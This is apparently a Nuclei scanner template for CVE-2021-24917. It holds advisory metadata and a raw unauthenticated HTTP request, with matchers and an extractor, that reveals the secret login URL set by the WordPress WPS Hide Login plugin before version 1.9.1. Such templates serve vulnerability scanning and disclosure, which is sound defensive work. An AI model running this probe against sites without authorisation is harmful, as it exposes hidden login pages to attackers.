id: CVE-2021-24917

info:
  name: WordPress WPS Hide Login <1.9.1 - Information Disclosure
  author: akincibor
  severity: high
  description: WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.
  impact: |
    An attacker can gain sensitive information about the WordPress site, such as the login page URL.
  remediation: Fixed in version 1.9.1.
  reference:
    - https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24917
    - https://wordpress.org/support/topic/bypass-security-issue/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24917
    cwe-id: CWE-863
    epss-score: 0.76403
    epss-percentile: 0.98877
    cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpserveur
    product: wps_hide_login
    framework: wordpress
  tags: cve2021,cve,wp,wordpress,wp-plugin,unauth,wpscan,wpserveur

http:
  - raw:
      - |
        GET /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Referer: something

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'

    extractors:
      - type: kval
        kval:
          - location
# digest: 4a0a00473045022100aa294dc79c96b645e4fa26b216bc232c0e1258e12262afe5de3f22842e586b9f02201110e0eee63fcb59f3dd6a4aeb20a6e7ba9aa80e7ea5d43156d71197e61c8820:922c64590222798bb761d5b6d8e72950